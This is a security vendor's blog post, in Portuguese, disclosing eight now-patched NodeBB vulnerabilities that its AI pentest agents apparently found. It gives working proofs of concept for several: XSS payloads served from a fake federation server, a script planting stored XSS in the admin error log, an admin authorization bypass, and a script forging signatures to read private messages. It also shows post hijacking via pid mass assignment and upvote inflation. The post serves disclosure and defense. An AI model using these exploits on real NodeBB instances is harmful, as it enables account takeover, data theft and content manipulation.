Aikido

Descoberta de oito vulnerabilidades de alta severidade no NodeBB em seis horas

Escrito por
Jorian Woltjer

TL;DR

  • Versões do NodeBB anteriores à 4.14.0 contêm múltiplas vulnerabilidades de alta severidade
  • Faça upgrade para versões mais recentes para resolver as vulnerabilidades
  • O Aikido sinalizará automaticamente as instâncias vulneráveis

Ao aprimorar nosso AI Pentest, realizamos uma avaliação whitebox no NodeBB, um software de fórum alimentado por NodeJS. O resultado? Oito vulnerabilidades de alta severidade que seriam todas exploráveis em instâncias padrão do NodeBB. Isso inclui cross-site scripting (XSS), duas das quais exigem interação com um servidor Federation personalizado que o agente de IA teve que configurar por conta própria. Outra afeta praticamente todas as entradas no NodeBB devido a uma injeção de template.

Além desses problemas, houve bypasses de autorização inteligentes para sequestrar e ler vários dados que não deveriam ser públicos. Explicamos todos os detalhes técnicos interessantes abaixo.

Um aspecto interessante sobre esses pentests autônomos é que eles concluem seus testes em apenas algumas horas. Os agentes desenvolveram ideias, rastrearam o código e testaram rigorosamente com a aplicação real para relatar descobertas concretas. Pentests conduzidos por humanos geralmente levam muito mais tempo, já que não conseguem multiplicar seus esforços com a mesma facilidade.

Após descobrir as vulnerabilidades, enviamos rapidamente um relatório aos mantenedores do NodeBB, que responderam muito rapidamente e imediatamente começaram a trabalhar nas correções. Os problemas foram corrigidos no início de julho.

Vamos entrar nos detalhes técnicos das vulnerabilidades, começando com alguns cross-site scripting.

Cross-site scripting em ícone de perfil de servidor Federation personalizado

Isso está longe de ser uma injeção de Reflected XSS simples e padrão, exigindo a configuração de um servidor personalizado completo para responder com um payload de XSS malicioso. No entanto, os modelos de agente que usamos são excelentes em codificação, então eles filtram a indireção com facilidade e codificam servidores personalizados para testar qualquer tipo de descoberta.

Tudo começa com helpers.common.js, que contém muitas concatenações HTML que levantam bandeiras vermelhas. A que vamos focar é:

function buildMetaTag(tag) {
  const name = tag.name ? 'name="' + tag.name + '" ' : '';
  const property = tag.property ? 'property="' + tag.property + '" ' : '';
  const content = tag.content ? 'content="' + tag.content.replace(/\n/g, ' ') + '" ' : '';

  return '<meta ' + name + property + content + '/>\n\t';
}

Nas header.tpl, cada metaTags item é renderizado usando a função acima:

{{{each metaTags}}}{function.buildMetaTag}{{{end}}}

Dados do usuário são passados para res.locals diretamente aqui:

if (userData.picture) {
  res.locals.metaTags.push(
    {
      property: 'og:image',
      content: userData.picture,
      noEscape: true,
    },
    {
      property: 'og:image:url',
      content: userData.picture,
      noEscape: true,
    }
  );
}

Enquanto algumas outras propriedades como userData.fullname são pré-escapadas convertendo " caracteres em &quot, a outra propriedade userData.picture não é (veja accounts/helpers.js). A URL para .picture é um arquivo enviado pelo usuário que normalmente aponta para alguma string segura como:
/assets/uploads/profile/uid-3/3-profileavatar-1779885231799.png

Então, mesmo que este valor não seja devidamente escapado como o fullname, como o controlamos para entregar uma string maliciosa contendo ">?

O truque é que esta URL pode ser definida arbitrariamente ao lidar com perfis federados. O conceito de federação aqui é interagir com uma rede descentralizada de outras instâncias que possuem seus próprios usuários e tópicos. Os dados são copiados praticamente 1:1, então se pudermos retornar dados maliciosos com uma URL que escape da sintaxe HTML entre aspas, estamos dentro.

Teremos que criar um servidor de federação personalizado que responde a /.well-known/webfinger com uma referência ao usuário XSS, e então retornar nosso payload XSS como o icon.url lá:

\/.well-known\/webfinger?resource=acct:xss@attacker.tld:

{
  "links": [
    {
      "href": "https://attacker.tld/ap/actor/xss",
      "rel": "self",
      "type": "application/activity+json"
    }
  ],
  "subject": "acct:xss@attacker.tld"
}

\/ap\/actor\/xss:

{
  "@context": [
    "https://www.w3.org/ns/activitystreams",
    "https://w3id.org/security/v1"
  ],
  "icon": {
    "mediaType": "image/jpeg",
    "type": "Image",
    "url": "\"><img src onerror=\"alert(origin)\">"
  },
  "id": "https://attacker.tld/ap/actor/xss",
  "inbox": "https://attacker.tld/ap/inbox/xss",
  "preferredUsername": "xss",
  "publicKey": {
    "id": "https://attacker.tld/ap/actor/xss#main-key",
    "owner": "https://attacker.tld/ap/actor/xss",
    "publicKeyPem": "dummy"
  },
  "type": "Person"
}

Com este servidor escutando em attacker.tld, tudo o que uma vítima precisa fazer é pesquisar um usuário no domínio malicioso ou visitar um link diretamente para ele:

https://nodebb.local/user/xss@attacker.tld

O backend busca attacker.tld pelo xss usuário em /.well-known/webfinger, que referencia \/ap\/actor\/xss. Isso é buscado, retornando o payload XSS, que é renderizado diretamente na <meta> tag. Com o "><img> payload, ele permite sair do HTML e acionar um alert(origin) popup com JavaScript:

Popup para nodeBB localhost aparece em uma página de quebra Cloudflare

Este problema foi corrigido (4c4bf76) escapando também as informações de fontes federadas.

Cross-Site Scripting na visualização de administrador de Erros de Federação

Continuaremos na tendência da Federação, pois outra vulnerabilidade XSS foi encontrada no log de erros para administradores. É bom notar que, embora apenas administradores possam ver esses logs, qualquer atacante não autenticado pode armazenar o payload. Explorar esta vulnerabilidade exigiu uma configuração de atacante ainda mais complexa do que a última XSS, mas os agentes ainda conseguiram descobrir.

O sink é simples. Dentro errors.tpl, o {.\/id} a variável é incorporada no HTML.

<code>{./id}</code>

Embora não seja um problema para a maioria das configurações de template, no NodeBB, a funcionalidade de auto-escaping para Benchpress é explicitamente desabilitada aqui, substituindo-a por uma função de identidade:

        __escape: identity,
    };

    function identity(str) {
        return str;
    }

NodeBB depende da sanitização manual de variáveis passadas para os templates. Um desses pontos onde isso é negligenciado é o id de Erros de Federação. E como disparamos tal erro, você pode perguntar? Escrevemos outro servidor de federação customizado, é claro, mas desta vez um pouco quebrado.

Primeiro, configuraremos um servidor como antes, mas, o que é importante, geraremos e serviremos uma chave pública para assinar mensagens.

/actor:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "id": "https://attacker.tld/actor",
  "type": "Person",
  "preferredUsername": "evil",
  "inbox": "https://attacker.tld/inbox",
  "publicKey": {
    "id": "https://attacker.tld/actor#main-key",
    "owner": "https://attacker.tld/actor",
    "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2uT/87NAfA4Al+I28ddA\nGT6Uf0FbilviOOR/BDnL44MU03Dfpf8UJCCX4MiJ1nqRNfpytFZWaCLOCPWf5N2S\nbu/o7ThDUUBlXPIa3z/p/xgyKFDyRVIQBrD43fnJwmsZd213NVqd00Nca3nsZ1He\n94yCUV61rrr8wEprnaGV9NLY6shTFO1PJub22QiadLB6hSPaJJ3C8volUZICWFT+\nGnNnIzi1LqG/x2MPvFBVHNY/HKNDp2NCHjZq/9V+kteygihepqw5BjHwC1kvIhGJ\nhPGKc3tguUBdpaba5cv2Uso6glwTqAUq3XYSBq49O7vShPoncK5Yb0LZ593YtV/A\n2wIDAQAB\n-----END PUBLIC KEY-----\n"
  }
}

Em seguida, adicione um /.well-known/webfinger endpoint como antes, que retorna qualquer conta:

/.well-known/webfinger?resource=acct%3Aevil%40attacker.tld:

{
  "subject": "acct:evil@attacker.tld",
  "links": [
    {
      "rel": "self",
      "type": "application/activity+json",
      "href": "https://attacker.tld/actor"
    }
  ]
}

Agora que temos um servidor em attacker.tld com uma chave que conhecemos, podemos enviar atualizações do NodeBB via o /inbox caminho. Cada type que enviamos é tratado por uma função específica em inbox.js. O Middleware verifica uma assinatura usando ActivityPub.verify, que essencialmente pega um conjunto de atributos da requisição e verifica se eles foram assinados pela chave pública do servidor de federação. Criamos nosso próprio servidor, então essa parte é fácil agora.

Para disparar um erro, podemos pegar o primeiro em inbox.update:

inbox.update = async (req) => {
  const { actor, object } = req.body;
  const isPublic = publiclyAddressed([...(object.to || []), ...(object.cc || [])]);

  // Origin checking
  const actorHostname = new URL(actor).hostname;
  const objectHostname = new URL(object.id).hostname;
  if (actorHostname !== objectHostname) {
    throw new Error('[[error:activitypub.origin-mismatch]]');
  }

[[error:activitypub.origin-mismatch]] acontece quando o actor e object.id da nossa requisição não correspondem. Podemos facilmente forjar isso.
Importante, o id que fornecemos será armazenado com o erro e, como aprendemos, é exibido de forma insegura como HTML no Painel de Administração. Portanto, vamos configurá-lo para um payload XSS como <img src onerror=alert(origin)>.

O script final é o seguinte:

# Craft payload
payload = {
    '@context': 'https://www.w3.org/ns/activitystreams',
    'id': '<img src onerror=alert(origin)>',
    'type': 'Update',
    'actor': f'https://attacker.tld/actor',
    'object': {
        # Different origin than actor to trigger an error path
        'id': 'https://nodebb.local/post/1',
        'type': 'Note'
    },
    'to': ['https://www.w3.org/ns/activitystreams#Public']
}

# Build signature
key_id = f'https://attacker.tld/actor#main-key'
inbox_url = 'https://nodebb.local/inbox'
u = urlparse(inbox_url)
date = datetime.now(timezone.utc).strftime('%a, %d %b %Y %H:%M:%S GMT')
signed = f'(request-target): post {u.path}\nhost: {u.netloc}\ndate: {date}'
sig = base64.b64encode(priv.sign(signed.encode(), padding.PKCS1v15(), hashes.SHA256())).decode()
headers = {
    'Host': u.netloc,
    'Date': date,
    'Signature': f'keyId="{key_id}",headers="(request-target) host date",signature="{sig}",algorithm="hs2019"',
    'Accept': 'application/activity+json',
    'Content-Type': 'application/ld+json;profile="https://www.w3.org/ns/activitystreams"',
}

# Send request
r = requests.post(inbox_url, headers=headers, data=json.dumps(payload), timeout=30, verify=False)
print('Status:', r.status_code)
print(r.text[:200])

Após enviar este payload, ele deve buscar o servidor personalizado do atacante para verificar a assinatura, e então o ator referenciado. Como as origens de actor e object.id no payload diferem, um erro é lançado e uma entrada na página de Erros de Federação no Painel de Administração é criada.

Quando um administrador agora visita esta página para verificar erros, ele é recebido com uma caixa de alerta JavaScript, porque nossa tag maliciosa <img> foi interpretada como HTML real entre o <code>:

A partir daqui, um atacante pode assumir o controle de toda a instância NodeBB, porque JavaScript pode fazer um administrador fazer qualquer coisa.

Este problema foi corrigido (16bda6b) ao escapar todos os campos exibidos nos Erros de Federação.

Cross-Site Scripting via Injeção de Template de Tradução

A última vulnerabilidade XSS encontrada foi outra interessante. Ela tem a ver com a forma como os templates são renderizados. Para retornar um corpo, o NodeBB essencialmente passa por estas duas etapas (definidas em render.js):

  1. Renderizar template Benchpress com variáveis de entrada (sintaxe: {...})
  2. Interpretar chaves de tradução (sintaxe: [[...]])
function renderContent(render, tpl, req, res, options) {
  return new Promise((resolve, reject) => {
    render.call(res, tpl, options, async (err, str) => {
      if (err) reject(err);
      else resolve(await translate(str, getLang(req, res)));
    });
  });
}

Já vimos o que pode dar errado com o Benchpress na vulnerabilidade anterior. Agora vamos nos concentrar na translate() função, o que crucialmente acontece depois nossa entrada é renderizada no template.

A vulnerabilidade já começa aqui. Porque nossa entrada já chegou em str quando as traduções são executadas sobre ele, se pudermos escrever o mesmo [[...]] sintaxe, ela seria interpretada. [ ou ] não são tratados como caracteres especiais por escapeCharMap dentro de utils.common.js, apenas &<>"'`= são.

Na verdade, cada página reflete a URL em uma <meta property="og:url"> propriedade. Podemos injetar uma chave de tradução nesta mesma propriedade para ver o resultado. As chaves de tradução são armazenadas por namespace, por exemplo, topic.json contém "flag-user": "Marcar este usuário". Se fizermos referência a isso:

https://nodebb.local/test[[topic:flag-user]]

<meta property="og:url" content="https://nodebb.local/testFlag this user" />

Foi interpretado com sucesso. Algumas mensagens são mais complexas e contêm placeholders com %1 e %2, que podemos controlar via argumentos separados por vírgula. Por exemplo:

"merged-message": "This topic has been merged into <a href=\"%1\">%2</a>"

Algo interessante está prestes a acontecer porque a tradução contém " (para definir o href), enquanto o contexto em que a injetamos não é texto, mas um atributo meta content= que também usa aspas duplas para conter seu valor.

https://nodebb.local/test[[topic:merged-message,A,B]]

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="A">B</a>" />

Pelo destaque de sintaxe, você pode ver que o que costumava ser a aspa de abertura para href=, agora é a aspa de fechamento para content=. Isso significa que, começando em nosso A, estamos em um contexto de definição de atributo e podemos adicionar quaisquer atributos a esta tag!

No entanto, se simplesmente substituirmos A com onerror=alert(), vemos uma cena lamentável:

<meta property="og:url" content="https://nodebb.local/testThis topic has been merged into <a href="onerror&#x3D;alert()">B</a>" />

Embora o atributo pareça ser passado, o sinal de igual (=) se transformou em &#x3D;. Lembra? Em escapeCharMap, o sinal de igual é visto como um caractere especial e é sempre HTML-escaped na saída. Portanto, não podemos adicionar valores a atributos para transformar esta injeção em XSS.

No entanto, nem toda a esperança está perdida, já que o template que usamos, merged-message, posiciona nosso primeiro parâmetro (A) diretamente no href= deste <a> tag. Usando uma javascript: URI, ainda é possível executar JavaScript arbitrário ao clicar. Basta fazer isso após nosso primeiro Escape do atributo, adicionando outra tag de template:

https://nodebb.local/test[[topic:merged-message,A,B]][[topic:merged-message,javascript:alert(origin),CLICK%20ME]]

<meta property="og:url" content="http://4.245.3.4:4567/testThis topic has been merged into <a href="A">B</a>This topic has been merged into <a href="alert(origin)">CLICK&#37;20ME</a>" />

Visualmente, agora há um cabeçalho na página com o texto CLICK%20ME. Ao ser clicado, o JavaScript é executado e alert(origin) é exibido:

Acabamos de provar o PoC na reflexão mais fácil de testar, a própria URL. Mas isso funciona em qualquer saída gerada pelo NodeBB. Na URL, estamos limitados a caracteres codificados em URL como %20. No endpoint apenas para administradores, \/flags?quick= endpoint, o valor de quick também é refletido, mas é decodificado por URL!

Para finalizar o PoC, podemos torná-lo mais realista usando emojis para parecerem ícones oficiais, pedindo ao usuário para atualizar com uma mensagem de "⚠️ Atualização necessária":

https://nodebb.local/flags?quick=]][[topic:merged-message,javascript:alert(origin),%E2%9A%A0%EF%B8%8FUpdate%20required

<span class="filter-label">filter-quick-This topic has been merged into <a href="javascript:alert(origin)">⚠️Update required</a></span>

Novamente, clicar no botão acionaria JavaScript arbitrário. Este foi o proof of concept inicial que o agente usou para relatar o problema.

O payload pode até ser armazenado dentro de posts no NodeBB, tornando-o facilmente compartilhável com outros usuários. O problema subjacente é que todo o conteúdo renderizado passa por uma etapa de tradução onde a entrada do usuário pode escrever a mesma sintaxe.

Corrigir este problema foi mais complicado. Como vimos, é mais uma questão de design do que um bug específico em algum lugar. Porque as traduções sempre acontecem depois da renderização do template, e caracteres de tradução são permitidos no template.

A correção ingênua seria fazer o HTML-escape [ e ] caracteres para garantir que não sejam interpretados como traduções. Mas acontece que alguns recursos/plugins realmente require conseguem renderizar sequências de tradução a partir de variáveis de template. Isso seria uma breaking change.

Para a correção inicial, o NodeBB tentou escapar manualmente cada local onde a entrada do usuário é refletida com translator.escape(). Isso não está completo, no entanto, então eles dedicaram muito trabalho para refatorar o sistema de tradução para que ele possa ser auto-escapado, e corrigir recursos/plugins para lidar com a breaking change adequadamente. Isso agora está implementado na versão 4.14.0.

Como uma defesa adicional, o HTML que sai das funções do tradutor também é sanitizado agora, de modo que, mesmo que um invasor controle o texto, ele não pode escrever javascript: hrefs.

Bypassing do middleware de autorização de admin usando homepage personalizada

Este é um caso simples, mas inteligente. Se analisarmos o middleware do NodeBB, encontramos este trecho responsável por lidar com a autorização para /admin rotas dentro de middleware/admin.js:

middleware.checkPrivileges = helpers.try(async (req, res, next) => {
  // Kick out guests, obviously
  if (req.uid <= 0) {
    return controllers.helpers.notAllowed(req, res);
  }

  // Otherwise, check for privilege based on page (if not in mapping, deny access)
  const path = req.path.replace(/^(\/api)?(\/v3)?\/admin\/?/g, '');
  if (path) {
    const privilege = privileges.admin.resolve(path);
    if (!await privileges.admin.can(privilege, req.uid)) {
      return controllers.helpers.notAllowed(req, res);
    }
  } else {
    // If accessing /admin, check for any valid admin privs
    const privilegeSet = await privileges.admin.get(req.uid);
    if (!Object.values(privilegeSet).some(Boolean)) {
      return controllers.helpers.notAllowed(req, res);
    }
  }

Tudo parece correto em uma inspeção inicial. Se privileged.admin.get() não retornar nada, você não tem permissão para entrar. A parte crucial é que este middleware está registrado para a /admin rota antes que lida com reescritas personalizadas de página inicial em routes/index.js:

router.all(`(/+api/admin|/+api/admin/*?${mounts.admin !== 'admin' ? `|/+api/${mounts.admin}|/+api/${mounts.admin}/*?` : ''})`, middleware.authenticateRequest, middleware.ensureLoggedIn, middleware.admin.checkPrivileges);
router.all(`(/+admin|/+admin/*?${mounts.admin !== 'admin' ? `|/+${mounts.admin}|/+${mounts.admin}/*?` : ''})`, middleware.ensureLoggedIn, middleware.applyCSRF, middleware.admin.checkPrivileges);

// handle custom homepage routes
router.use('/', controllers.home.rewrite);

Qualquer usuário pode configurar sua página inicial para ser reescrita para outra URL como um recurso. Isso é implementado por outro middleware acionado em /. Internamente, ele define req.url para refletir o valor configurado:

async function rewrite(req, res, next) {  if (req.path !== '/' && req.path !== '/api/' && req.path !== '/api') {
    return next();
  }
  ...
  route = await getUserHomeRoute(req.uid, next);  parsedUrl = new URL(route, 'http://localhost.com');  const pathname = parsedUrl.pathname.replace(/^\/+/, '');  req.url = req.path + (!req.path.endsWith('/') ? '/' : '') + pathname;  ...  next();


next()
é chamado para continuar procurando a rota real, mas isso agora é depois os checks de caminho de admin já foram realizados.

Isso significa que se você definir sua página inicial personalizada para /admin, você verá o painel de administração, mesmo como um membro regular. Nenhum acesso de administrador é necessário.

A única coisa que nos "bloqueia" é algum código client-side que busca o valor configurado quando você tenta salvá-lo, antes de realmente enviar as configurações para o servidor:

$.get(config.relative_path + '/' + settings.homePageCustom, function () {
  saveSettings(settings);
}).fail(function () {
  alerts.error('[[error:invalid-home-page-route]]');
});

Essa verificação é facilmente subvertida enviando diretamente uma PUT /api/v3/users/:id/settings requisição ou usando um breakpoint no navegador para pular a verificação e chamar saveSettings() diretamente.
Após configurá-lo para admin/advanced/cache, por exemplo, podemos recarregar a / página e ver uma série de informações internas destinadas a administradores:

Mesmo as APIs são acessíveis via /api/admin, no entanto, a maioria das APIs para realmente editar dados passam por /api/v3/admin. Estas são as rotas de "escrita" e possuem verificações de privilégio adicionais dentro do handler de cada rota. Elas, portanto, não são vulneráveis a este ataque.
Ainda assim, isso resulta em alguma exposição/modificação significativa de dados:

  • GET /api/admin/users/csv: Obtém a exportação CSV de todos os usuários, se existir. As colunas dependem do que a última exportação do admin escolheu.
  • GET /api/admin/advanced/errors: Lê todos os logs de erro
  • POST /api/admin/manage/categories: Adiciona categoria remota à lista da barra lateral
  • POST /api/admin/uploadlogo: Atualiza o logo do site

Este problema foi corrigido (9885f94) reordenando o middleware para executar as verificações de permissão após a reescrita.

Falsificação de ID de usuário para ler mensagens privadas

Para se comunicar com outras redes sociais, o NodeBB implementa ActivityPub, que é um protocolo para compartilhar usuários/conteúdo entre instâncias. Isso é tornado criptograficamente seguro ao dar a cada usuário uma chave pública com a qual eles podem assinar ações. Em requisições, um Assinatura: cabeçalho é adicionado com atributos como keyId e signature.

O ActivityPub.verify função valida-os corretamente:

ActivityPub.verify = async (req) => {
  ...
  let { keyId, headers, signature, algorithm, created, expires } = req.headers.signature.split(',').reduce((memo, cur) => {
    const split = cur.split('="');
    const key = split.shift();
    const value = split.join('="');
    memo[key] = value.slice(0, -1);
    return memo;
  }, {});
  const signed_string = headers.split(' ').reduce((memo, cur) => {
     ...  }, []).join('\n');
  const publicKeyPem = await ActivityPub.fetchPublicKey(keyId);

  return await verifyAsync('sha256', Buffer.from(signed_string), publicKeyPem, Buffer.from(signature, 'base64'));

Se olharmos onde esta função é utilizada, vemos apenas seu lugar no activitypub.js middleware aqui:

middleware.verify = async function (req, res, next) {
  // Verifies the HTTP Signature if present (required for POST)
  const passthrough = [/\/actor/, /\/uid\/\d+/];
  if (req.method === 'GET' && passthrough.some(regex => regex.test(req.path))) {
    return next();
  }

  if (req.method === 'POST') {
    const verified = await activitypub.verify(req);    if (!verified) {
      return res.sendStatus(400);
    }
  }

  if (req.headers.signature) {
    const keyId = req.headers.signature.split(',').filter(line => line.startsWith('keyId="'));
    if (keyId.length) {
      req.uid = keyId.shift().slice(7, -1).replace(/#.*$/, '');

Curiosamente, ele só é executado activitypub.verify(req) se o req.method === 'POST'! Requisições GET não têm sua assinatura verificada por algum motivo. Quais endpoints podemos alcançar com isso?

Há realmente apenas um endpoint que usa req.uid para autenticação, e esse é GET /message/:mid. Em middleware/assert.js lemos:

!(await messaging.canViewMessage(req.params.mid, roomId || req.params.roomId, req.uid))

Este endpoint recupera mensagens privadas de req.params.mid:

Actors.message = async function (req, res) {
  ...
  const messageObj = await messaging.getMessageFields(req.params.mid, []);
  messageObj.content = await messaging.parse(messageObj.content, messageObj.fromuid, 0, messageObj.roomId, false);
  const payload = await activitypub.mocks.notes.private({ messageObj });
  res.status(200).json(payload);
};

Agora temos o panorama completo. O Assinatura: header é verificado apenas para requisições POST, então o GET /message/:mid endpoint não verifica o keyId= atributo. Com ele, podemos nos passar por qualquer pessoa e vazar os IDs de mensagens incrementais um por um para comprometer completamente os chats privados.

# Fetch all users
users = requests.get(f'{HOST}/api/users', timeout=10).json().get('users', [])
users = [(u['uid'], u.get('username', '?')) for u in users]
print(f'Found {len(users)} users')

# Fetch all message IDs for each user
for mid in tqdm(range(1, 80)):
    for uid, name in users:
        headers = {
            'Accept': 'application/activity+json',
            'Signature': f'keyId="{uid}"',
        }
        r = requests.get(f'{HOST}/message/{mid}', headers=headers, timeout=10)
        if r.ok:
            j = r.json()
            content = j.get("content", "")[:80].strip()
            tqdm.write(f'Impersonating {name} ({uid}) -> message {mid}: {content}')

Este problema foi corrigido (f6b5cd8) ao definir apenas req.uid em um branch de código onde activitypub.verify() já verificou o cabeçalho Signature.

Sequestrando posts com Mass Assignment de pid

Com todos esses corpos JSON, é provável que você tenha alguns bugs de Mass Assignment, então foi isso que o agente procurou em seguida. Se você não está familiarizado com esse tipo de bug, ele consiste em adicionar campos internos à sua requisição para sobrescrevê-los sem que a aplicação web tenha a intenção de que você faça isso.
Isso geralmente acontece quando um corpo de requisição inteiro é analisado e inserido no banco de dados. Existem padrões como esse nesta base de código?

Aqui no POST /api/v3/topics, endpoint lemos:

Topics.create = async (req, res) => {
  const id = await lockPosting(req, '[[error:already-posting]]');
  try {
    const payload = await api.topics.create(req, req.body);

Ele faz exatamente o que estamos procurando, passando req.body para topicsAPI.create(). A implementação dele posteriormente chama Posts.create que confia no dado data.pid:

const pid = data.pid || await db.incrObjectField('global', 'nextPid');
let postData = { pid, uid, tid, content, sourceContent, timestamp };

O pid propriedade é o ID do Post, único para que qualquer post possa ser consultado por meio desse número. Note que isso é ligeiramente diferente de um tópico, já que um tópico pode ter vários posts (respostas) sob ele.
O primeiro post em qualquer NodeBB é sempre um post de "Bem-vindo ao seu NodeBB!" feito pelo administrador:

Um fórum NodeBB. Há uma mensagem de boas-vindas de um usuário com o nome admin que diz "Bem-vindo ao seu novo fórum NodeBB" com texto boilerplate adicional do NodeBB

Seu ID é sempre 1, e novos posts incrementam a partir daí. O que aconteceria se criássemos um new post que também tem pid: 1? Vamos tentar!

POST /api/v3/topics HTTP/1.1
Host: nodebb.local
x-csrf-token: 77a...65b
Cookie: express.sid=s%3A...
Content-Length: 133
Content-Type: application/json

{
    "title": "title",
    "content": "OVERWRITTEN BY ATTACKER",
    "cid": 2,
    "tags": [],
    "thumbs": [],
    "timestamp": 0,
    "pid": 1
}

Verificando novamente a publicação de boas-vindas:

O primeiro comentário na página de boas-vindas agora foi postado pelo usuário pentest_member

Nós sequestramos a publicação! Mas o conteúdo ainda não parece ter sido atualizado. No entanto, como somos os proprietários agora, podemos simplesmente editá-lo e salvá-lo novamente para realmente atualizar o conteúdo:

Na página de boas-vindas, a mensagem de boas-vindas foi alterada para "SOBRESCRITO POR ATACANTE"

A URL ainda é a mesma, e qualquer pessoa que retornar a esta publicação verá o novo conteúdo do atacante. Combinado com uma conta semelhante, isso pode ser muito poderoso para envenenar parte do conteúdo, como alterar comandos maliciosos para copiar em algum tutorial.

Este problema foi corrigido (7f08fb9) ao excluir o pid propriedade do corpo da requisição, para que não possa mais sobrescrever o campo interno.

Ler todas as categorias sem autenticação

This might be the easiest vulnerability in this post. It can be summarized as one sentence: "/category/{cid}/outbox is missing authorization when ActivityPub accept header is set".

É realmente tão simples quanto isso. A rota /category/:cid/outbox é tratada pela seguinte função, que não realiza verificações de autorização, mas retorna todos os tópicos em uma determinada categoria (incluindo os privados), referenciados por um identificador incremental cid.

Controller.getCategoryOutbox = async (req, res) => {
  const { cid } = req.params;
  const { page } = req.query;
  const set = `cid:${cid}:pids`;
  const count = await db.sortedSetCard(set);
  const collection = await activitypub.helpers.generateCollection({
    set,
    count,
    page,
    perPage: 20,
    url: `${nconf.get('url')}/category/${cid}/outbox`,
  });
	...
  res.status(200).json({
    '@context': 'https://www.w3.org/ns/activitystreams',
    ...collection,
  });
};

Uma simples requisição GET para /category/2/outbox com um cabeçalho Accept: application/activity+json para acionar o ActivityPub retorna uma lista não filtrada de todas as publicações sob aquele ID de Categoria. Aqui está uma categoria privada que criamos e à qual apenas administradores têm acesso:

Sem autenticação, o seguinte conteúdo pode ser recuperado:

{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "OrderedCollection",
  "totalItems": 2,
  "orderedItems": [
    {
      "object": {
        "object": {
          ...
          "name": "secret content",
          "url": "https://nodebb.local/post/2",
          "content": "<p>SUPER SECRET CONTENT</p>\n"
    }}},
    {
      "object": {
        "object": {
          ...
          "inReplyTo": "http://4.245.3.4:4567/post/2",
          "name": "secret content",
          "url": "https://nodebb.local/post/3",
          "content": "<p>replies too!</p>\n"
        }

Este problema foi corrigido (8e98325) adicionando uma topics:read verificação de permissão à rota outbox.

Inflação de upvotes por ator não verificado

Este último é mais divertido, mas poderia ser abusado em spam ou manipulação. Um dos agentes encontrou uma maneira de dar upvote infinitamente em uma publicação! (Falando em infinito… Confira o Aikido Infinite pentest contínuo! ;) )

Existem 2 maneiras de dar upvote em uma publicação ("Like" no ActivityPub):

  1. Diretamente via /inbox ou /uid/:uid/inbox, verificado com o `Signature keyId`
  2. Embutido em uma mensagem "Announce" via /category/:cid/inbox

Em tal mensagem, você fornece um actor que representa a pessoa que realizou a ação. O middleware autoriza este ator com o `keyId` do cabeçalho `Signature` keyId, especificamente o req.body.actor campo:

middleware.assertPayload = helpers.try(async function (req, res, next) {
  ...
  let { actor } = req.body;

  const { hostname } = new URL(actor);
  const allowed = await activitypub.instances.isAllowed(hostname);

  await activitypub.actors.assert(actor);
  let compare = await db.getObjectsFields([
    `userRemote:${actor}:keys`, `categoryRemote:${actor}:keys`,
  ], ['id']);
  compare = compare.reduce(...).replace(/#[\w-]+$/, '');

  if (compare !== keyId) {
    return res.sendStatus(403);
  }

Isso funciona bem para o primeiro endpoint, porque sua actor propriedade precisa ser verificada. Aqui está um exemplo de mensagem:

{
  "id": "https://nodebb.local/uid/42#activity/like/3",
  "type": "Like",
  "actor": "https://nodebb.local/uid/42",
  "to": ["https://www.w3.org/ns/activitystreams#Public"],
  "cc": ["https://nodebb.local/uid/7"],
  "object": "https://nodebb.local/post/3"
}

No entanto, o formato para uma mensagem "Announce" é diferente, o `Like` actor está embutido dentro de um objeto:

{
  "id": "https://nodebb.local/post/3#activity/announce/1717234567890",
  "type": "Announce",
  "actor": "https://nodebb.local/category/1",
  "to": ["https://nodebb.local/category/1/followers"],
  "cc": [
    "https://nodebb.local/uid/42",
    "https://www.w3.org/ns/activitystreams#Public"
  ],
  "object": {
    "id": "https://nodebb.local/uid/42#activity/like/3",
    "type": "Like",
    "actor": "https://nodebb.local/uid/42",
    "to": ["https://www.w3.org/ns/activitystreams#Public"],
    "cc": ["https://nodebb.local/uid/7"],
    "object": "https://nodebb.local/post/3"
  }
}

Como ambos usam o mesmo assertPayload middleware, a segunda forma usando o formato "Announce" não é verificada. O actor pode ser qualquer string única aleatória para atuar como um novo usuário. Aqui, o Like tipo de objeto é reconhecido e usa diretamente object.actor para posts.upvote():

case object.type === 'Like': {
  const id = object.object.id || object.object;
  const { id: localId } = await activitypub.helpers.resolveLocalId(id);
  const exists = await posts.exists(localId || id);
  if (exists) {
    try {
      await activitypub.actors.assert(object.actor);
      const result = await posts.upvote(localId || id, object.actor);

Um atacante pode enviar repetidamente requisições como esta para aumentar constantemente o número de upvotes em uma publicação, com milhares por minuto para inflar completamente a confiabilidade de uma publicação.

POST_ID = 1  # Target post
payload = {
    'id': str(uuid.uuid4()),
    'type': 'Announce',
    'actor': 'https://nodebb.local/uid/999',
    'object': {
        'id': f'https://nodebb.local/object/{uuid.uuid4()}',
        'type': 'Like',
        'actor': f'https://nodebb.local/fake-{uuid.uuid4()}',
        'object': f'https://nodebb.local/post/{POST_ID}'
    }
}
headers = {'Content-Type': 'application/activity+json',
           'Signature': 'keyId=""'}

r = requests.post('https://nodebb.local/category/1/inbox',
                  headers=headers, json=payload)

Este problema foi corrigido (8e98325) verificando sempre o cabeçalho Signature para requisições POST.

Conclusão

Com o avanço da IA, a velocidade dos pentests está em constante crescimento. De repente, é possível contratar um grupo de 400 pequenos pentesters para analisar sua aplicação pelo preço de um pentest comum. Desenvolvedores podem continuar entregando código rapidamente enquanto agentes de pentest de IA acompanham e testam novas funcionalidades em busca de problemas de segurança, mesmo os menores e mais complexos. Na Aikido, fornecemos AutoFixes e retestes fáceis para ajudar a remediar quaisquer vulnerabilidades identificadas.

O NodeBB respondeu muito rapidamente ao nosso relatório, o que apreciamos bastante. Eles pediram esclarecimentos sobre alguns pontos, e pudemos fornecer feedback sobre as correções para garantir que não houvesse bypasses triviais.

Uma última observação. Neste pentest, identificamos muitas vulnerabilidades na implementação do ActivityPub, e acreditamos que isso pode ser generalizado e aplicado a mais aplicações. Sempre que há múltiplas formas de realizar tarefas, o método mais comum ou integrado é frequentemente bem seguro, enquanto a forma alternativa está repleta de bugs. Garanta que todas as suas integrações externas e rotas alternativas sejam tão seguras quanto as principais!

Nossa ferramenta de pentest de IA descobriu isso por conta própria. Se você deseja um pentest de alta qualidade e rápido executado contra sua aplicação, confira a suite de pentest da Aikido.

Compartilhar:

